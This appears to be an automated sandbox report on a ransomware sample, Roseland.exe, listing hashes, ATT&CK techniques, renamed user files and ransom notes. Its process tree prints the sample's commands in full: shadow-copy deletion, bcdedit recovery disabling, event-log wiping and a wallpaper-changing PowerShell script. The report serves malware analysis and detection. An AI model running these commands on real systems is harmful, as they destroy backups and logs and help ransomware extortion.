bff12a83b1fc2e0ad0000ad9b68abc8eada559bb1094caaf5b9f52887df23705

General

Target

Roseland.exe
Size

807KB
MD5

19944159dfa94a1b75effd85e6b906dc
SHA1

250acf87366f4c0cf91679a0e93dfc79954f0f10
SHA256

bff12a83b1fc2e0ad0000ad9b68abc8eada559bb1094caaf5b9f52887df23705
SHA512

c791840f59c2fc906c197c43e0e1717b9504cf46177a3688ecbd4937cdbf95349d68cc1e63649b85f02df4e6990c4df4756dd8267b062ea5271dd61fc3e508b0
SSDEEP

12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYA7:u4s+oT+NXBLi0rjFXvyHBlbnCZa8

Score

9^/10

evasion ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

1484 bcdedit.exe
1724 bcdedit.exe

pid	process
1484	bcdedit.exe
1724	bcdedit.exe

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

Roseland.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\AssertReset.crw => C:\Users\Admin\Pictures\AssertReset.crw.avos2	Roseland.exe
File renamed	C:\Users\Admin\Pictures\DebugCompare.crw => C:\Users\Admin\Pictures\DebugCompare.crw.avos2	Roseland.exe
File opened for modification	C:\Users\Admin\Pictures\ReadBackup.tiff	Roseland.exe
File renamed	C:\Users\Admin\Pictures\ReadBackup.tiff => C:\Users\Admin\Pictures\ReadBackup.tiff.avos2	Roseland.exe
File renamed	C:\Users\Admin\Pictures\ResetRedo.png => C:\Users\Admin\Pictures\ResetRedo.png.avos2	Roseland.exe
File renamed	C:\Users\Admin\Pictures\UnlockInvoke.tif => C:\Users\Admin\Pictures\UnlockInvoke.tif.avos2	Roseland.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

Roseland.exe

description ioc process

File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI Roseland.exe
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

Roseland.exe

description ioc process

File opened (read-only) \??\Z: Roseland.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI	Roseland.exe

description	ioc	process
File opened (read-only)	\??\Z:	Roseland.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\821858695.png"	reg.exe

Drops file in Program Files directory 64 IoCs

Processes:

Roseland.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\de-DE\js\library.js	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18191_.WMF	Roseland.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Cancun	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\console_view.png	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\ADRESPEL.POC	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\OliveGreen.css	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Oasis\TAB_ON.GIF	Roseland.exe
File opened for modification	C:\Program Files\Windows Media Player\en-US\wmpnetwk.exe.mui	Roseland.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Vladivostok	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\eclipse.inf	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\images\Tulip.jpg	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\it-IT\wmlaunch.exe.mui	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\ELPHRG01.WAV	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Composite.eftx	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WHIRL2.WMF	Roseland.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\Ole DB\de-DE\msdasqlr.dll.mui	Roseland.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Bissau	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser_5.5.0.165303.jar	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\fr-FR\weather.html	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\MSOUC_COL.HXT	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\WINWORD.DEV.HXS	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107514.WMF	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0199483.WMF	Roseland.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\TRANSLAT\ESEN\WT61ES.LEX	Roseland.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	Roseland.exe
File created	C:\Program Files\Windows NT\TableTextService\it-IT\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\novelty_m.png	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\POWERPNT.DEV_COL.HXC	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18189_.WMF	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0222015.WMF	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01300_.GIF	Roseland.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\OneNote.en-us\OneNoteMUI.XML	Roseland.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\Help\1049\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files\Java\jre7\lib\fonts\LucidaTypewriterBold.ttf	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor_1.0.300.v20131211-1531.jar	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh89	Roseland.exe
File created	C:\Program Files\Internet Explorer\ja-JP\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\de-DE\settings.html	Roseland.exe
File created	C:\Program Files\Microsoft Games\FreeCell\it-IT\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-new_partly-cloudy.png	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Technic.xml	Roseland.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\VSTA\8.0\x86\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf	Roseland.exe
File opened for modification	C:\Program Files\UnpublishPublish.zip	Roseland.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\it-IT\css\localizedSettings.css	Roseland.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Swift_Current	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-loaders_ja.jar	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans.nl_ja_4.4.0.v20140623020002.jar	Roseland.exe
File created	C:\Program Files\Google\Chrome\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mr.txt	Roseland.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\en-US\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormToolImages.jpg	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Adobe.css	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME04.CSS	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0229385.WMF	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD00448_.WMF	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\fr-FR\flyout.html	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\AddToViewArrowMask.bmp	Roseland.exe
File opened for modification	C:\Program Files (x86)\Common Files\Services\verisign.bmp	Roseland.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf	Roseland.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\es-ES\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files\Microsoft Games\FreeCell\fr-FR\FreeCell.exe.mui	Roseland.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\89.0.4389.114\VisualElements\SmallLogoDev.png	Roseland.exe

Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

2376 vssadmin.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

Roseland.exepowershell.exepowershell.exe

pid process

1228 Roseland.exe
2400 powershell.exe
2868 powershell.exe

pid	process
2376	vssadmin.exe

pid	process
1228	Roseland.exe
2400	powershell.exe
2868	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Roseland.exeWMIC.exevssvc.exepowershell.exe

description	pid	process
Token: SeTakeOwnershipPrivilege	1228	Roseland.exe
Token: SeIncreaseQuotaPrivilege	2388	WMIC.exe
Token: SeSecurityPrivilege	2388	WMIC.exe
Token: SeTakeOwnershipPrivilege	2388	WMIC.exe
Token: SeLoadDriverPrivilege	2388	WMIC.exe
Token: SeSystemProfilePrivilege	2388	WMIC.exe
Token: SeSystemtimePrivilege	2388	WMIC.exe
Token: SeProfSingleProcessPrivilege	2388	WMIC.exe
Token: SeIncBasePriorityPrivilege	2388	WMIC.exe
Token: SeCreatePagefilePrivilege	2388	WMIC.exe
Token: SeBackupPrivilege	2388	WMIC.exe
Token: SeRestorePrivilege	2388	WMIC.exe
Token: SeShutdownPrivilege	2388	WMIC.exe
Token: SeDebugPrivilege	2388	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2388	WMIC.exe
Token: SeRemoteShutdownPrivilege	2388	WMIC.exe
Token: SeUndockPrivilege	2388	WMIC.exe
Token: SeManageVolumePrivilege	2388	WMIC.exe
Token: 33	2388	WMIC.exe
Token: 34	2388	WMIC.exe
Token: 35	2388	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2388	WMIC.exe
Token: SeSecurityPrivilege	2388	WMIC.exe
Token: SeTakeOwnershipPrivilege	2388	WMIC.exe
Token: SeLoadDriverPrivilege	2388	WMIC.exe
Token: SeSystemProfilePrivilege	2388	WMIC.exe
Token: SeSystemtimePrivilege	2388	WMIC.exe
Token: SeProfSingleProcessPrivilege	2388	WMIC.exe
Token: SeIncBasePriorityPrivilege	2388	WMIC.exe
Token: SeCreatePagefilePrivilege	2388	WMIC.exe
Token: SeBackupPrivilege	2388	WMIC.exe
Token: SeRestorePrivilege	2388	WMIC.exe
Token: SeShutdownPrivilege	2388	WMIC.exe
Token: SeDebugPrivilege	2388	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2388	WMIC.exe
Token: SeRemoteShutdownPrivilege	2388	WMIC.exe
Token: SeUndockPrivilege	2388	WMIC.exe
Token: SeManageVolumePrivilege	2388	WMIC.exe
Token: 33	2388	WMIC.exe
Token: 34	2388	WMIC.exe
Token: 35	2388	WMIC.exe
Token: SeBackupPrivilege	2488	vssvc.exe
Token: SeRestorePrivilege	2488	vssvc.exe
Token: SeAuditPrivilege	2488	vssvc.exe
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeSecurityPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeSecurityPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeSecurityPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeSecurityPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeSecurityPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeSecurityPrivilege	2400	powershell.exe
Token: SeBackupPrivilege	2400	powershell.exe
Token: SeSecurityPrivilege	2400	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

Roseland.execmd.execmd.execmd.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 1228 wrote to memory of 2036	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 2036	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 2036	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 2036	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1920	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1920	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1920	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1920	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1748	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1748	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1748	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1748	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1948	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1948	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1948	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 1948	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 564	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 564	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 564	1228	Roseland.exe	cmd.exe
PID 1228 wrote to memory of 564	1228	Roseland.exe	cmd.exe
PID 1748 wrote to memory of 1484	1748	cmd.exe	bcdedit.exe
PID 1748 wrote to memory of 1484	1748	cmd.exe	bcdedit.exe
PID 1748 wrote to memory of 1484	1748	cmd.exe	bcdedit.exe
PID 1948 wrote to memory of 1724	1948	cmd.exe	bcdedit.exe
PID 1948 wrote to memory of 1724	1948	cmd.exe	bcdedit.exe
PID 1948 wrote to memory of 1724	1948	cmd.exe	bcdedit.exe
PID 1920 wrote to memory of 2376	1920	cmd.exe	vssadmin.exe
PID 1920 wrote to memory of 2376	1920	cmd.exe	vssadmin.exe
PID 1920 wrote to memory of 2376	1920	cmd.exe	vssadmin.exe
PID 2036 wrote to memory of 2388	2036	cmd.exe	WMIC.exe
PID 2036 wrote to memory of 2388	2036	cmd.exe	WMIC.exe
PID 2036 wrote to memory of 2388	2036	cmd.exe	WMIC.exe
PID 564 wrote to memory of 2400	564	cmd.exe	powershell.exe
PID 564 wrote to memory of 2400	564	cmd.exe	powershell.exe
PID 564 wrote to memory of 2400	564	cmd.exe	powershell.exe
PID 1228 wrote to memory of 2868	1228	Roseland.exe	powershell.exe
PID 1228 wrote to memory of 2868	1228	Roseland.exe	powershell.exe
PID 1228 wrote to memory of 2868	1228	Roseland.exe	powershell.exe
PID 1228 wrote to memory of 2868	1228	Roseland.exe	powershell.exe
PID 2868 wrote to memory of 2952	2868	powershell.exe	reg.exe
PID 2868 wrote to memory of 2952	2868	powershell.exe	reg.exe
PID 2868 wrote to memory of 2952	2868	powershell.exe	reg.exe
PID 2868 wrote to memory of 2964	2868	powershell.exe	rundll32.exe
PID 2868 wrote to memory of 2964	2868	powershell.exe	rundll32.exe
PID 2868 wrote to memory of 2964	2868	powershell.exe	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\Roseland.exe
"C:\Users\Admin\AppData\Local\Temp\Roseland.exe"
1⤵
- Modifies extensions of user files
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Windows\system32\cmd.exe
  cmd /c wmic shadowcopy delete /nointeractive
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2388
- C:\Windows\system32\cmd.exe
  cmd /c vssadmin.exe Delete Shadows /All /Quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - Interacts with shadow copies
    PID:2376
- C:\Windows\system32\cmd.exe
  cmd /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1484
- C:\Windows\system32\cmd.exe
  cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1724
- C:\Windows\system32\cmd.exe
  cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\821858695.png /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:2952
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
    3⤵
    PID:2964

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Inhibit System Recovery

3

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\GET_YOUR_FILES_BACK.txt

Filesize
1011B

MD5
6d81ed40ba0a283e5483bfe6a448e9d7

SHA1
0c847a5f9df743b13e1aa11b4c24a4309e9a7119

SHA256
b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d

SHA512
8956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e2e754a33cefa8a1626e0dfa2da60d97

SHA1
5d901cd91fb89e08f4c35d15a1a68bdbe3ebb228

SHA256
70e83337d2d60c772a9d2444df5f3655196c0716b935c02c479f5ff9f67d3215

SHA512
aa08ed561e8b7e37b543552028f7a8d6522dbe74a1e564798c24ba7f49a75073e28fd139733850c9c37bc36e4ee71d641b902037879d67fb7eb39f1703886a1e

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memory/564-58-0x0000000000000000-mapping.dmp

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memory/1484-59-0x0000000000000000-mapping.dmp

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memory/1724-60-0x0000000000000000-mapping.dmp

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memory/1748-56-0x0000000000000000-mapping.dmp

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memory/1920-55-0x0000000000000000-mapping.dmp

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memory/1948-57-0x0000000000000000-mapping.dmp

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memory/2036-54-0x0000000000000000-mapping.dmp

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memory/2376-61-0x0000000000000000-mapping.dmp

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memory/2388-62-0x0000000000000000-mapping.dmp

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memory/2400-68-0x000000000257B000-0x000000000259A000-memory.dmp

Filesize
124KB

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memory/2400-63-0x0000000000000000-mapping.dmp

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memory/2400-66-0x000007FEF35E0000-0x000007FEF413D000-memory.dmp

Filesize
11.4MB

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memory/2400-65-0x000007FEF4140000-0x000007FEF4B63000-memory.dmp

Filesize
10.1MB

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memory/2400-69-0x0000000002574000-0x0000000002577000-memory.dmp

Filesize
12KB

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memory/2400-70-0x000000000257B000-0x000000000259A000-memory.dmp

Filesize
124KB

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memory/2400-67-0x0000000002574000-0x0000000002577000-memory.dmp

Filesize
12KB

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memory/2400-64-0x000007FEFBCE1000-0x000007FEFBCE3000-memory.dmp

Filesize
8KB

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memory/2868-74-0x000007FEF4320000-0x000007FEF4D43000-memory.dmp

Filesize
10.1MB

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memory/2868-75-0x000007FEF37C0000-0x000007FEF431D000-memory.dmp

Filesize
11.4MB

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memory/2868-77-0x00000000023F4000-0x00000000023F7000-memory.dmp

Filesize
12KB

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memory/2868-78-0x00000000023FB000-0x000000000241A000-memory.dmp

Filesize
124KB

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memory/2868-76-0x000000001B810000-0x000000001BB0F000-memory.dmp

Filesize
3.0MB

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memory/2868-71-0x0000000000000000-mapping.dmp

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memory/2868-82-0x00000000023F4000-0x00000000023F7000-memory.dmp

Filesize
12KB

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memory/2868-83-0x00000000023FB000-0x000000000241A000-memory.dmp

Filesize
124KB

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memory/2952-80-0x0000000000000000-mapping.dmp

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memory/2964-81-0x0000000000000000-mapping.dmp

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Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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